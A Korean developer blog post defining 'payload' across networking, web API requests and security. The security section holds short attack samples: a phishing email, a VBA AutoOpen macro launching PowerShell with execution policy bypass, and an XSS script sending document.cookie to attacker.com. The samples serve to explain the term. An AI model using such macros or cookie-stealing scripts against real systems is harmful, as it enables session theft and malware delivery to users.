본문 바로가기

Developer/Theory

[Theory] Payload

Payload는 데이터 전송에서 실질적인 내용을 담고 있는 부분을 의미합니다. 이 용어는 여러 분야에서 사용되지만, 특히 네트워크, 웹 개발, 그리고 보안 분야에서 자주 등장합니다. Payload는 본질적으로 데이터 전송에서 전달하고자 하는 주요 정보를 포함하고 있습니다.

1. 네트워크 통신에서의 Payload

네트워크 통신에서, 데이터는 패킷 단위로 전송됩니다. 각 패킷은 일반적으로 헤더(Header)와 페이로드(Payload)로 구성됩니다.

  • 헤더(Header): 제어 정보와 메타데이터를 포함합니다. 예를 들어, 출발지와 목적지 주소, 프로토콜 정보 등
  • 페이로드(Payload): 실제 전송하려는 데이터입니다. 예를 들어, 파일의 내용, 메시지, 웹 페이지 데이터 등

예시:

[Header] [Payload]
[출발지 주소, 목적지 주소, 프로토콜] [실제 데이터]

# IP 패킷 예시 및 구조
[IP 헤더] [TCP 헤더] [페이로드]
# IP Header: 출발지 및 목적지 IP 주소, 패킷 길이, 프로토콜 정보 등을 포함
# TCP Header: 출발지 및 목적지 포트 번호, 시퀀스 번호, ACK 번호, 플래그 등 TCP 세션 관리를 위한 정보를 포함합니다.
# Payload : 실제 전송되는 데이터, 예를 들어, HTTP 요청이나 응답의 본문이 여기에 포함

# 상세예시는 하기 웹 예시에서 확인

2. 웹 개발에서의 Payload

웹 개발에서 페이로드는 주로 API 요청과 응답의 본문 부분을 의미합니다. 이는 클라이언트와 서버 간의 데이터 교환에서 핵심 데이터를 포함합니다.

  • 요청(Request) 페이로드: 클라이언트가 서버로 보내는 데이터.
  • 응답(Response) 페이로드: 서버가 클라이언트로 보내는 데이터.

예시:

# Header
POST /api/v1/users HTTP/1.1
Host: example.com
Content-Type: application/json

# Payload
{ 
  "username": "bin",
  "email": "bin@example.com"
}

 

3. 보안 분야에서의 Payload

보안에서 페이로드는 악성 코드나 바이러스의 실행 코드 부분을 가리킬 때 사용될 수 있습니다. 공격자는 페이로드를 이용해 시스템을 손상시키거나 정보를 탈취합니다.

  • 악성 페이로드(Malicious Payload): 악성 활동을 수행하는 코드 조각. 예를 들어, 시스템 권한 상승, 데이터 유출, 백도어 설치 등을 포함할 수 있습니다.
  • 악성 스크립트: 공격자가 웹사이트 취약점을 이용하여, 악성 스크립트를 주입하여, 스크립트 페이로드로 공격 ( XSS ) 

예시:

# [exploit_code; malicious_script; system_call]

Subject: Important Update - Action Required

Dear User,

Please find the attached document for an important update regarding your account. Kindly review and follow the instructions.

Best regards,
Support Team

[첨부 파일: update.doc]


# 첨부파일의 Payload Exam

VBA 매크로 코드 (문서 열 때 실행되는 악성 코드)
Sub AutoOpen()
    Dim objShell As Object
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "cmd /c powershell.exe -ExecutionPolicy Bypass -File C:\Users\Public\malicious.ps1"
End Sub


# Cross-SiteScripting (XSS)

<script>
  // 악성 페이로드: 사용자 세션 쿠키를 탈취하여 공격자 서버로 전송
  var img = new Image();
  img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

 

요약

  • 네트워크 통신: 패킷의 실질적인 데이터 부분.
  • 웹 개발: API 요청 및 응답의 데이터 본문.
  • 보안: 악성 활동을 수행하는 코드 부분.